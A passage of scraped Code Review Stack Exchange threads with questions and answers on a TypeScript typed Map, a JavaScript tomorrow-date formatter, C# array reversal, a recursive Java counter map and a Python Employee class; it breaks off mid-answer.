[ { "body": "<p>You can declare the array passed into the constructor <code>as const</code> so it doesn't get widened to <code>Array&lt;[string, number]&gt;</code>, and use generics to look up the key on the constructed map to get the AvatarSize type:</p>\n<pre><code>const sizes = new Map([\n [&quot;xs&quot;, 32],\n [&quot;sm&quot;, 44],\n [&quot;md&quot;, 104]\n] as const);\nexport type AvatarSize = Parameters&lt;typeof sizes.get&gt;[0];\n</code></pre>\n<p>Another way of doing it would be to declare the array outside:</p>\n<pre><code>const sizesArr = [\n [&quot;xs&quot;, 32],\n [&quot;sm&quot;, 44],\n [&quot;md&quot;, 104]\n] as const;\nconst sizes = new Map(sizesArr);\nexport type AvatarSize = (typeof sizesArr)[number][0];\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T06:40:27.267", "Id": "253596", "ParentId": "253595", "Score": "2" } } ]
{ "AcceptedAnswerId": "253596", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T06:33:00.590", "Id": "253595", "Score": "1", "Tags": [ "typescript" ], "Title": "Typescript typed Map" }
253595
<p>I need a JavaScript-function which <strong>always</strong> computes the date of the next day. Then returns the date as a string, formatted in the way: dd.mm.yyyy</p> <p>I wrote this code:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>const getDateStringForTomorrow = () =&gt; { const millisOfDay = 1000 * 60 * 60 * 24; const oTomorrow = new Date(Date.now() + millisOfDay); const day = ("0" + oTomorrow.getDate()).slice(-2); const month = ("0" + (oTomorrow.getMonth() + 1)).slice(-2); const year = oTomorrow.getFullYear(); return `${day}.${month}.${year}`; }; console.log(getDateStringForTomorrow());</code></pre> </div> </div> </p> <p><strong>Can I expect my function to work as expected and to provide correct results?</strong></p> <p><strong>What't your opinion about the way I have written the function? To you think it's overly verbose?</strong></p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T08:03:04.760", "Id": "500122", "Score": "0", "body": "Instead of adding a '0' and slicing, I might prefer `.toString().padStart(2, '0')` - I think it reads a little better." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T08:08:39.420", "Id": "500124", "Score": "1", "body": "Also, if accuracy matters, a day doesn't always have the same number of milliseconds (i.e. leap minutes). This would be an alternative way to get the next day: `oTomorrow = new Date(); oTomorrow.setDate(oTomorrow.getDate() + 1)` (setDate() will correctly handle too-large numbers)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T08:14:36.363", "Id": "500125", "Score": "1", "body": "@Scotty Jamison I have seen the technique you are mentioning, in an article: https://flaviocopes.com/how-to-get-tomorrow-date-javascript/ Now, it becomes clear to me, why they are doing it that way. Thanks." } ]
[ { "body": "<p>With <a href=\"https://tc39.es/ecma402/#datetimeformat-objects\" rel=\"nofollow noreferrer\">Intl.DateTimeFormat</a> you can also format the date elements to 2 and 4 digits. You code would then look something like this:</p>\n<pre><code>const getDateStringForTomorrow = () =&gt; {\n const tomorrow = new Date();\n tomorrow.setDate(tomorrow.getDate() + 1);\n const day = new Intl.DateTimeFormat('en', { day: '2-digit' }).format(tomorrow);\n const month = new Intl.DateTimeFormat('en', { month: '2-digit' }).format(tomorrow);\n const year = new Intl.DateTimeFormat('en', { year: 'numeric' }).format(tomorrow);\n return day + '.' + month + '.' + year;\n\n};\n\nconsole.log(getDateStringForTomorrow());\n</code></pre>\n<p>Another variant uses the European date format to get the order of the elements correctly and then only replaces dashes by dots:</p>\n<pre><code>const getDateStringForTomorrow = () =&gt; {\n const tomorrowDate = new Date();\n tomorrowDate.setDate(tomorrowDate.getDate() + 1);\n const tomorrowStr = new Intl.DateTimeFormat('uk', { day: '2-digit', month: '2-digit', year: 'numeric' }).format(tomorrow);\n return tomorrowStr.replaceAll('-','.');\n\n};\n\nconsole.log(getDateStringForTomorrow());\n</code></pre>\n<p>The advantage of using <code>Intl.DateTimeFormat()</code> is that it writes out very clearly what you want.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T10:13:01.180", "Id": "253610", "ParentId": "253598", "Score": "1" } } ]
{ "AcceptedAnswerId": "253610", "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T07:15:32.667", "Id": "253598", "Score": "2", "Tags": [ "javascript", "algorithm", "datetime" ], "Title": "JavaScript function for the get the formatted date of tomorrow" }
253598
<p>I have this code that uses three methods to do certain tasks. One creates an array, another reverses it and the other one prints it out(it was required to use three methods). A person recommended me to upload my code here as there are a few things that need to be improved.</p> <p>They said that I do not need to return arrays if I modify them in-place, and GenerateNum could allocate the array itself instead of requiring an array with the correct size to be passed. However as a beginner I didn't quite catch what they were trying to tell me to change in the code. Please help me.</p> <pre><code>using System; class Program { static void Main(string[] args) { string getnums = Console.ReadLine(); int getnum = Convert.ToInt32(getnums); int[] array1 = new int[getnum]; GenerateNum(getnum,array1); RevArray(array1); PrintArray(array1); } static int[] GenerateNum(int getnums, int[] arrayy) { for (int index = 0; index &lt; getnums; index++) { arrayy[index] = index; } return arrayy; } static int[] RevArray(int[] arrayy) { for (int index = 0; index &lt; (arrayy.Length)/2; index++) { int a = arrayy[index]; arrayy[index] = arrayy[arrayy.Length - index-1]; arrayy[arrayy.Length-index-1] = a; } return arrayy; } static void PrintArray(int[] arrayy) { Console.WriteLine(string.Join(&quot;,&quot;,arrayy)); } } </code></pre>
[]
[ { "body": "<p>Some quick remarks:</p>\n<ul>\n<li><p><code>getnums</code> is a bad variable name. Ditto <code>getnum</code>.</p>\n</li>\n<li><p>What if the user provides an invalid input in <code>getnums</code>? Why don't you check for that?</p>\n</li>\n<li><p>Do not pointlessly abbreviate: &quot;Num&quot; and &quot;Rev&quot; do not make your code run faster.</p>\n</li>\n<li><p>Why do you spell it <code>arrayy</code>?</p>\n</li>\n<li><p>What is the point of the first argument of <code>GenerateNum</code>? You know the size of the array, so just use that. (Also, the namechange from <code>getnum</code> to <code>getnums</code> is really confusing and only reinforces the need for properly named variables.)</p>\n</li>\n</ul>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T08:49:45.390", "Id": "253603", "ParentId": "253600", "Score": "4" } }, { "body": "<p>Let's review your code line by line</p>\n<pre class=\"lang-cs prettyprint-override\"><code>string getnums = Console.ReadLine();\n</code></pre>\n<ul>\n<li>The name <code>getnums</code> is not really a good name for a string variable. When you name a variable please try to use noun(s) (w/o adjective). Methods should start with verbs.</li>\n</ul>\n<pre class=\"lang-cs prettyprint-override\"><code>int getnum = Convert.ToInt32(getnums);\n</code></pre>\n<ul>\n<li>This is quite error-prone. What if the user types <em>three</em>? Your application will crash with a <code>FormatException</code>.</li>\n<li>Please prefer <code>int.TryParse</code> and remember that <a href=\"https://learning.oreilly.com/library/view/writing-secure-code/0735617228/ch10.html#:%7E:text=Or%2C%20put%20another%20way%3A%20all,the%20moment%20you%20are%20attacked.\" rel=\"noreferrer\">all input is evil</a> (until proven otherwise).</li>\n</ul>\n<pre class=\"lang-cs prettyprint-override\"><code>int[] array1 = new int[getnum];\n</code></pre>\n<ul>\n<li>Yet again <code>array1</code> is not really a good name. Someone who reads your code will not know what was your intent with this variable. Try to write code that is understandable for others as well.</li>\n<li>This is quite error-prone again, because <code>getnum</code> can contain negative number. The array allocation attempt might result in a <code>OverflowException</code>.</li>\n<li>Consider to use <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.buffers.arraypool-1?view=net-5.0\" rel=\"noreferrer\">ArrayPool</a> if you try to allocate an <a href=\"https://adamsitnik.com/Array-Pool/\" rel=\"noreferrer\">quite big array</a>.</li>\n</ul>\n<pre class=\"lang-cs prettyprint-override\"><code>static int[] GenerateNum(int getnums, int[] arrayy)\n</code></pre>\n<ul>\n<li>The <code>arrayy</code> is really a bad name here, you are using <a href=\"https://en.wikipedia.org/wiki/Hungarian_notation\" rel=\"noreferrer\">Hungarian notation</a> which should be avoided.</li>\n<li>You don't need to pass <code>getnums</code> because you can get the <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.array.length\" rel=\"noreferrer\">Length</a> of the array.</li>\n<li>With the current implementation the <code>PopulateArray</code> might be a better name.</li>\n<li>Depending on your design the responsibility to allocate memory can be moved over here as well.</li>\n</ul>\n<pre class=\"lang-cs prettyprint-override\"><code>for (int index = 0; index &lt; getnums; index++)\n</code></pre>\n<ul>\n<li>Feel free to use <code>array.Length</code> instead of <code>getnums</code></li>\n</ul>\n<pre class=\"lang-cs prettyprint-override\"><code>arrayy[index] = index;\n</code></pre>\n<ul>\n<li>If you design your application in the way that this method should allocate the memory as well then you could rewrite this whole method with the following command:<br />\n<code>return Enumerable.Range(0, getnums).ToArray();</code></li>\n</ul>\n<pre class=\"lang-cs prettyprint-override\"><code>int[] RevArray(int[] arrayy)\n</code></pre>\n<ul>\n<li>As it was stated by others as well abbreviation does not add anything here. On the contrary it might make confusion because it could mean other things as well not just reserve, like <em>reveal</em>, <em>revive</em>, <em>review</em>, <em>revisit</em>, etc...</li>\n</ul>\n<pre class=\"lang-cs prettyprint-override\"><code>for (int index = 0; index &lt; (arrayy.Length)/2; index++)\n</code></pre>\n<ul>\n<li>The <code>Array</code> class defines a <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.array.reverse\" rel=\"noreferrer\">Reverse</a> method, which can do the whole in-place replacement on your behalf without reinventing the wheel.</li>\n<li>Here you are using the <code>Length</code> property which is good. I suspect that this code is based on <a href=\"https://stackoverflow.com/a/6088313/13268855\">this SO answer</a>. I strongly encourage you to add there a comment where you mention the source of your code.</li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T15:44:10.243", "Id": "500157", "Score": "0", "body": "Hi. I haven't used any external sources for my code. Thanks for the answer!" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T09:40:50.667", "Id": "253606", "ParentId": "253600", "Score": "9" } }, { "body": "<p>The person who said that you do not need to return the array if you modify it in place is correct. An implementation of <strong>RevArray()</strong> could be.</p>\n<pre><code>static void RevArray(int[] arrayy)\n{\n for (int index = 0; index &lt; (arrayy.Length)/2; index++)\n {\n int a = arrayy[index];\n arrayy[index] = arrayy[arrayy.Length - index-1];\n arrayy[arrayy.Length-index-1] = a;\n }\n}\n</code></pre>\n<p>And the calling code would work just the same - currently, the return value of <strong>RevArray()</strong> is not used.</p>\n<p>However, in different situation, where we wanted to use the reversed array, returning it could be useful to return the array.</p>\n<p>Say, we change <strong>main()</strong> to</p>\n<pre><code>static void Main(string[] args)\n{\n string getnums = Console.ReadLine();\n int getnum = Convert.ToInt32(getnums);\n int[] array1 = new int[getnum];\n\n GenerateNum(getnum,array1);\n PrintArray(RevArray(array1));\n}\n</code></pre>\n<p>Now we are using the return value.</p>\n<p>It depends on what is are trying to practice. If we are simply looking at <em>'modifying an array contents'</em>, then not returning the array is simplest. General rule: If we are not going to use the return value, don't return it.</p>\n<p><strong>GenerateNum()</strong> <br/>\nThis can be rewritten without passing in the array.</p>\n<p>The code currently goes like this</p>\n<p>Main<br/>\n  Read in a size (n)<br/>\n  Create an array of size n<br/>\n  Populate the array with the numbers from 0 to n-1<br/>\n  Reverse the array<br/>\n  Display the array<br/></p>\n<p><strong>GenerateNum()</strong> can be rewritten as <em>'Create and Populate the array'</em>, rather than <em>'Populate the array'</em>.</p>\n<p>So we could restructure it as</p>\n<p>Main<br/>\n  Read in a size (n)<br/>\n  Create and Populate an array of size n with the numbers from 0 to n-1<br/>\n  Reverse the array<br/>\n  Display the array<br/></p>\n<p>and we'd use</p>\n<pre><code>static int[] CreateAndPopulateArray(int n)\n{\n int[] ret = new int[n];\n for(int index = 0; index &lt; n; index++)\n {\n ret[index] = index;\n }\n return ret;\n}\n</code></pre>\n<p>to create and populate the array.</p>\n<p>Our <strong>main()</strong> now becomes</p>\n<pre><code>static void Main(string[] args)\n{\n string getnums = Console.ReadLine();\n int getnum = Convert.ToInt32(getnums);\n \n int[] array1 = CreateAndPopulateArray(getnum);\n RevArray(array1);\n PrintArray(array1);\n}\n</code></pre>\n<p><strong>Other points</strong> <br/>\n<strong>Naming</strong> <br/>\nThis is only a practice app and one is unlikely to forget what it is intended to do but naming variables and functions/methods well is a good habit to cultivate.</p>\n<p>In the original code <strong>arraySize</strong> would be a better choice than <strong>getnum</strong>, and <strong>PopulateArray()</strong> would be a better choice than <strong>GenerateNum()</strong> - the method doesn't really generate anything, the array already exists. This may seem like nit-picking (and it is, which is why it comes in Other Points), but good naming, and making code easy to read/comprehend by others, is important and is a good mindset adopt.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T15:56:24.720", "Id": "500161", "Score": "0", "body": "Thank you for the answer. I would like to ask, when we reverse the array in RevArray(), why is it that we don't need to return the value that we get? Isn't the value going to be used later in PrintArray() to print it out?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-19T16:53:16.340", "Id": "500216", "Score": "1", "body": "Really simple version: We can think of the array as a box into which we put things. In the original program, we create the box in main(), populate it in getnum(), reverse it in RevArray() and display it in PrintArray(). There is no need to return anything, we simply update the contents of the array and use the updated array contents in the following method." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T09:40:52.143", "Id": "253607", "ParentId": "253600", "Score": "8" } } ]
{ "AcceptedAnswerId": "253606", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T07:38:52.433", "Id": "253600", "Score": "6", "Tags": [ "c#" ], "Title": "A program that uses three methods to reverse and print an array" }
253600
<p>I am building some statistic counter in Java. Each metric could have flexible depth so the implementation should able to explore the depth when value insert or update.</p> <p>So I implement like below (with Test)</p> <pre><code>public class TestRecursiveMap { private void recursiveRegister(Map&lt;String, Object&gt; target, String[] keys, int curr) { if(curr &gt; keys.length -1) return; String currKey = keys[curr]; if(target.containsKey(currKey)) { Object currVal = target.get(currKey); if(curr &gt;= keys.length -1) { int value = (int) currVal; target.put(currKey, value + 1); } else { Map&lt;String, Object&gt; subMap = (Map&lt;String, Object&gt;)currVal; recursiveRegister(subMap, keys, curr + 1); } } else { if(curr &gt;= keys.length -1) { target.put(currKey, 1); } else { Map&lt;String, Object&gt; emptyMap = new HashMap&lt;&gt;(); target.put(currKey, emptyMap); recursiveRegister(emptyMap, keys, curr + 1); } } } // result looks like // {a={b={c=1}}} // {a={b={c=2}}} @Test public void testRecursive(){ Map&lt;String, Object&gt; originMap = new HashMap&lt;&gt;(); String[] keys = {&quot;a&quot;, &quot;b&quot;, &quot;c&quot;}; recursiveRegister(originMap, keys, 0); System.out.println(originMap); recursiveRegister(originMap, keys, 0); System.out.println(originMap); } } </code></pre> <p>The code is so unsatisfied because of</p> <ul> <li><p>casting in recursive logic - <code>Map&lt;String, Object&gt;</code> is very flexible but need to cast object to map or integer in every level</p> </li> <li><p>while casting there are bunch of possibilities of exceptions</p> </li> </ul> <p>How could I implement this safe and fast?</p> <p>=====================================</p> <p>Use case #1.</p> <p>Actually this is an api counter. When you have an API call, it will counting the mount of the request.</p> <p>For instance,</p> <p><code>/api/user/1</code> and <code>/api/v1/user/1</code> then it will have some value like below (in JSON form)</p> <pre><code>{ &quot;api&quot; : { &quot;user&quot; : { &quot;1&quot; : 1 }, &quot;v1&quot; : { &quot;user&quot; : { &quot;1&quot; : 1 } } } } </code></pre> <p>So the basic logic is</p> <ul> <li>if there is a key in the map, it will increase the number</li> <li>if not, it will assign new k,v set and the initial value is 1</li> </ul>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T14:15:40.160", "Id": "500144", "Score": "0", "body": "This looks more like a file/directory hierarch (`Map<Path, Object>`?) And a well known design pattern exists (Container). But show us the desired API in some unit tests, how to store, how to query. Does get(\"a\") return a list of either values or \"b\" pointing to further subhierarchies. If we know the API we'll can start searching for a fitting data structure." } ]
[ { "body": "<p>It took a long time just to understand what your program is doing and how it might be useful.</p>\n<p>You were concerned about the unchecked casting, and that's a valid concern, but maybe it's not a problem if you make that behaviour clear, for instance, by including a failure scenario in the test case or JavaDoc, in which case you are just stating it's the responsibility of the other code that makes use of this to only pass valid arguments.</p>\n<p>Here's a version of the same thing that's hopefully a bit better at describing what it does. With things a bit more plain to read, you can decide if you want your program to behave differently in the failure case -- maybe it should throw a checked exception instead of <code>ClassCastException</code> or maybe you want to actually support these cases?</p>\n<pre><code>import static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.fail;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.junit.Test;\n\n/**\n * I am building some statistic counter in Java. Each metric could have flexible\n * depth so the implementation should able to explore the depth when value\n * insert or update.\n *\n */\npublic class StatisticsCounter {\n\n private Map&lt;String, Object&gt; rootMap = new HashMap&lt;&gt;();\n\n public void increment(String... paths) {\n recursiveIncrement(rootMap, paths, 0);\n }\n\n private void recursiveIncrement(Map&lt;String, Object&gt; targetMap, String[] pathToTarget,\n int pathIndex) {\n\n final int targetDepth = pathToTarget.length - 1;\n final String counterName = pathToTarget[pathIndex];\n\n if (pathIndex == targetDepth &amp;&amp; targetMap.containsKey(counterName)) {\n // assume objects at the target depth are int\n targetMap.put(counterName, (int) targetMap.get(counterName) + 1);\n } else if (pathIndex == targetDepth) {\n // at the target depth, put ints\n targetMap.put(counterName, 1);\n } else if (targetMap.containsKey(counterName)) {\n // assume object is a map, recur into it for the next counter name\n recursiveIncrement((Map&lt;String, Object&gt;) targetMap.get(counterName),\n pathToTarget, pathIndex + 1);\n } else {\n // create a new map and recur into it for the next counter name\n Map&lt;String, Object&gt; emptyMap = new HashMap&lt;&gt;();\n targetMap.put(counterName, emptyMap);\n recursiveIncrement(emptyMap, pathToTarget, pathIndex + 1);\n }\n }\n\n public String toString() {\n return rootMap.toString();\n }\n\n @Test\n public void test() {\n StatisticsCounter counters = new StatisticsCounter();\n counters.increment(&quot;USA&quot;, &quot;California&quot;, &quot;Los Angeles&quot;);\n counters.increment(&quot;USA&quot;, &quot;California&quot;, &quot;Los Angeles&quot;);\n counters.increment(&quot;USA&quot;, &quot;California&quot;, &quot;San Diego&quot;);\n counters.increment(&quot;USA&quot;, &quot;California&quot;, &quot;Bay Area&quot;, &quot;San Francisco&quot;,\n &quot;Financial District&quot;);\n counters.increment(&quot;USA&quot;, &quot;Tennessee&quot;, &quot;Memphis&quot;);\n counters.increment(&quot;USA&quot;, &quot;Tennessee&quot;, &quot;Memphis&quot;);\n counters.increment(&quot;Italy&quot;, &quot;Venice&quot;);\n counters.increment(&quot;Italy&quot;, &quot;Rome&quot;);\n counters.increment(&quot;Italy&quot;, &quot;Venice&quot;);\n counters.increment(&quot;Vatican City&quot;);\n counters.increment(&quot;Vatican City&quot;);\n\n try {\n counters.increment(&quot;USA&quot;, &quot;California&quot;);\n fail(&quot;Cannot increment a key that already has subcounters&quot;);\n } catch (ClassCastException expectedException) {\n assertEquals(&quot;java.util.HashMap cannot be cast to java.lang.Integer&quot;,\n expectedException.getMessage());\n }\n\n try {\n counters.increment(&quot;USA&quot;, &quot;Tennessee&quot;, &quot;Memphis&quot;, &quot;Graceland&quot;);\n fail(&quot;Cannot add subcounters to a key that already has a count&quot;);\n } catch (ClassCastException expectedException) {\n assertEquals(&quot;java.lang.Integer cannot be cast to java.util.Map&quot;,\n expectedException.getMessage());\n }\n\n System.out.println(counters);\n // {USA={Tennessee={Memphis=2}, California={San Diego=1, Bay Area={San\n // Francisco={Financial District=1}}, Los Angeles=2}}, Italy={Rome=1, Venice=2},\n // Vatican City=2}\n }\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-20T23:37:43.417", "Id": "500301", "Score": "0", "body": "Thanks for your opinion. Flatten `if` statement makes code more readable. But my most concern is the design. I simply avoid casting Object to Integer because it could be a cause of ClassCastingException as you mentioned. However I used `Map<String, Object>` to make the map flexible. The best way I expected(If it is possible) kind of flexible type safe map..." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T22:11:27.767", "Id": "253642", "ParentId": "253604", "Score": "1" } }, { "body": "<pre class=\"lang-java prettyprint-override\"><code>if(curr &gt; keys.length -1) return;\n\n// ... \n\nObject currVal = target.get(currKey);\n</code></pre>\n<p>Don't shorten variable names just because you can. It makes the code harder to read and harder to maintain.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>if(curr &gt; keys.length -1) return;\n</code></pre>\n<p>Ideally you're always use a &quot;full block if&quot; for statements, as it makes it easier to see the return condition.</p>\n<pre class=\"lang-java prettyprint-override\"><code>if (curr &gt; keys.length - 1) {\n return;\n}\n</code></pre>\n<p>Also, your formatting seems to be off in a few cases. I'd suggest to always use an automatic formatter in your workflow so that you never need to worry about the formatting of your code ever again.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>target.put(currKey, 1);\n</code></pre>\n<p><code>int</code> and <code>Integer</code> are requiring conversion between each other, that's called &quot;<a href=\"https://docs.oracle.com/javase/tutorial/java/data/autoboxing.html\" rel=\"nofollow noreferrer\">boxing</a>&quot; and might or might not be a problem when doing it implicit.</p>\n<hr />\n<p>You ain't got any sort of error handling, if I see this right.</p>\n<hr />\n<p>So, let's get to the design. If I understand your example right, what you want to do is to have a list of keys, which represent the path through the tree structure, and the last key keeps a counter how often it was added.</p>\n<p>There are several ways to achieve that, and the question is what exactly you're trying to achieve to know which one applies.</p>\n<p>For every further implementation, we'll assume the following interface:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public class CounterTreeMap {\n public int getValue(String... keys);\n public void putValue(String... keys);\n}\n</code></pre>\n<p>You notice that we've already simplified how to use this class, the rest are implementation details. Additionally, I'll skip tests on the input parameters for brevity.</p>\n<h3>The cheap one</h3>\n<p>The cheapest solution is to &quot;fake&quot; depth by hashing the input array and having a single <code>Map</code>. However, this implementation would be able to store a value for the path &quot;A, B&quot; as well as for &quot;A, B, C&quot;.</p>\n<pre class=\"lang-java prettyprint-override\"><code>protected Map&lt;Integer, Integer&gt; values = new HashMap&lt;&gt;();\n\npublic int getValue(String... keys) {\n int keysHash = Arrays.hashCode(keys);\n // TODO We are missing logic here to handle possible hash collisions.\n Integer value = values.get(Integer.valueOf(keysHash));\n \n if (value != null) {\n return value.intValue();\n } else {\n return -1; // Or throw exception here.\n }\n}\n</code></pre>\n<h3>The nearly as cheap one</h3>\n<p>Given the problems from the previous implementation, we can fix at least the possible has collisions by using the full path as key instead.</p>\n<pre class=\"lang-java prettyprint-override\"><code>protected Map&lt;String, Integer&gt; values = new HashMap&lt;&gt;();\n\npublic int getValue(String... keys) {\n String key = String.join(&quot;/&quot;, keys);\n Integer value = values.get(Integer.valueOf(key));\n \n if (value != null) {\n return value.intValue();\n } else {\n return -1; // Or throw exception here.\n }\n}\n</code></pre>\n<p>Now that solves the possible hash collisions, but still allows us to store values at each node, basically. That might even be wanted, I don't know, you never specified.</p>\n<h3>The one with the many maps</h3>\n<p>As you've done, we can build a hierarchy of <code>Map</code>s, however, I'd base decisions on the type of the encountered leaf.</p>\n<p>Recursive implementation:</p>\n<pre class=\"lang-java prettyprint-override\"><code>protected Map&lt;String, Object&gt; tree = new HashMap&lt;&gt;();\n\npublic int getValue(String... keys) {\n return getValue(tree, keys, 0);\n}\n\nprotected int getValue(Map&lt;String, Object&gt; branch, String[] keys, int currentKeyIndex) {\n String key = keys[currentKeyIndex];\n Object value = branch.get(key);\n \n if (value == null) {\n return -1; // Or throw an exception here.\n } else if (value instanceof Integer) {\n return ((Integer)value).intValue();\n } else if (value instanceof Map&lt;?, ?&gt;) {\n return getValue((Map&lt;String, Object)value, keys, currentKeyIndex + 1)\n }\n}\n</code></pre>\n<p>Implementation using a loop instead:</p>\n<pre class=\"lang-java prettyprint-override\"><code>protected Map&lt;String, Object&gt; tree = new HashMap&lt;&gt;();\n\npublic int getValue(String... keys) {\n Map&lt;String, Object&gt; branch = tree;\n int currentKeyIndex = 0;\n \n while (branch != null) {\n String key = keys[currentKeyIndex];\n Object value = branch.get(key);\n \n if (value == null) {\n return -1; // Or throw an exception here.\n } else if (value instanceof Integer) {\n return ((Integer)value).intValue();\n } else if (value instanceof Map&lt;?, ?&gt;) {\n branch = (Map&lt;String, Object)value;\n currentKeyIndex++;\n }\n }\n}\n</code></pre>\n<p>Both implementations lack proper checks, though, but you should get the idea.</p>\n<hr />\n<p>Given the use case as example, I'd go with flattening/joining the path into a single string (using &quot;/&quot; as separator) and, when adding a new path, increasing the existing value or setting a new one if it does not exist.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-20T23:32:29.393", "Id": "500300", "Score": "0", "body": "Thanks Bobby. The hashing key method looks nice for me. However what do you think about `return -1; // Or throw an exception here.` statement in the last code block? (which is my most concern). Basically Object is a super class of whole class that statement is compilable but I think it is not safe enough. I would like to know your opinion about that. (I added use case on OP)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T17:51:43.263", "Id": "500355", "Score": "0", "body": "I'd go with flattening/joining the path into a single string (using \"/\" as separator) and, when adding a new path, increasing the existing value or setting a new one if it does not exist. Regarding error handling, the question is what you want to do when trying to get the information on non-existing path, \"0\" would most likely be appropriate. Also, you most likely need a method which returns the whole `Map`." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-19T11:03:10.157", "Id": "253654", "ParentId": "253604", "Score": "1" } } ]
{ "AcceptedAnswerId": "253654", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T09:04:43.377", "Id": "253604", "Score": "1", "Tags": [ "java", "hash-map", "casting" ], "Title": "How to make Map<String, Object> expendible(?) safely in java" }
253604
<p>I have a class named <code>Employee</code> and another (<code>reg_employee</code>) that instantiates the former class.</p> <p>I want to know if this code can be improved.</p> <pre class="lang-py prettyprint-override"><code>class Employee: def __init__(self): self.Name = '' self.Id = 0 self.Age = 0 self.company = 0 self.title = '' self.Level = 0 self.xp = 0.0 self.Tasks = [] self.Projects = [] def setname(self, name): self.Name = name def setage(self, age): self.Age = age def setcompany(self, company): self.company = company def setxp(self, lvlup): self.xp = lvlup </code></pre> <pre class="lang-py prettyprint-override"><code>import Employee class reg_employee: def __init__(self): self.employees = [] def read_info(self, name, age, company): e = Employee.Employee() e.Name = name e.Age = age e.company = company self.employees.append(e) </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T12:03:46.207", "Id": "500138", "Score": "1", "body": "The current question title, which states your concerns about the code, applies to too many questions on this site to be useful. The site standard is for the title to simply state the task accomplished by the code. Please see [ask] for examples, and revise the title accordingly." } ]
[ { "body": "<p>The code looks fine. However, there are a few things you can do to improve it:</p>\n<ul>\n<li>first, avoid using Capital letters for variable. In Python, they should be named in <a href=\"https://en.wikipedia.org/wiki/Snake_case\" rel=\"nofollow noreferrer\">snake_case</a>;</li>\n<li>use snake_case for <code>setters</code> (e.g., <code>set_name</code>) and <code>getters</code> as well, or use properties instead. See <a href=\"https://www.python-course.eu/python3_properties.php\" rel=\"nofollow noreferrer\">https://www.python-course.eu/python3_properties.php</a> for more information.</li>\n<li>You can avoid instantiating the variable in the <code>__init__</code>.</li>\n<li>If you are using Python 3.X, consider specifying the parameters types and return types.</li>\n</ul>\n<p>Here is how I would refactor your code:</p>\n<pre class=\"lang-py prettyprint-override\"><code>class Employee:\n\n @property\n def name(self):\n return self.__name\n\n @name.setter\n def name(self, name: str):\n self.__name = name\n\n @property\n def age(self):\n return self.__age\n\n @age.setter\n def age(self, age: int):\n self.__age = age\n\n @property\n def company(self):\n return self.__company\n\n @company.setter\n def company(self, company: str):\n self.__company = company\n\n @property\n def xp(self):\n return self.__xp\n\n @xp.setter\n def xp(self, lvlup: float):\n self.__xp = lvlup\n</code></pre>\n<p>However, you should use setters if you need to perform some checks before assigning the value to the variable (e.g., you want to check that the passed <code>age &gt; 18</code> or that the title is at least &quot;a bachelor degree&quot;, and so forth.\nIf you do not need those checks, you can simply call the variable, for example:</p>\n<pre class=\"lang-py prettyprint-override\"><code>class Employee:\n\n def __init__(self):\n self.name = ''\n self.id = 0\n self.age = 0\n self.company = 0\n self.title = ''\n self.level = 0\n self.xp = 0.0\n self.tasks = []\n self.projects = []\n\n\nemployee = Empolyee()\nemployee.name = 'Foo Bar'\nemployee.age = 30\n</code></pre>\n<p>Instead of using setters or populating the variables one by one, you can further improve the code by passing the parameters to the Employee class constructor:</p>\n<pre class=\"lang-py prettyprint-override\"><code>class Employee:\n\n def __init__(self, name:str, age:int, company:int, id:int=None, title:str=None,\n xp=float=None, task:list=None, projects:list=None):\n \n self.name = name\n self.id = id\n self.age = age\n self.company = company\n self.title = title\n self.level = level\n self.xp = xp\n self.tasks = tasks\n self.projects = projects\n\n # Properties here (getters and setters) ...\n\n</code></pre>\n<p>Then, <code>read_info</code> will become:</p>\n<pre class=\"lang-py prettyprint-override\"><code>def read_info(self, name, age, company):\n e = Employee.Employee(name=name, age=age, company=company)\n self.employees.append(e)\n</code></pre>\n<p><strong>Update</strong></p>\n<p>As highlighted by <a href=\"https://codereview.stackexchange.com/users/12240/hjpotter92\">hjpotter</a>, a more suitable approach in this case would use <a href=\"https://docs.python.org/3/library/dataclasses.html\" rel=\"nofollow noreferrer\">dataclasses</a>.\nTherefore, the class can be rewritten as:</p>\n<pre class=\"lang-py prettyprint-override\"><code>from dataclasses 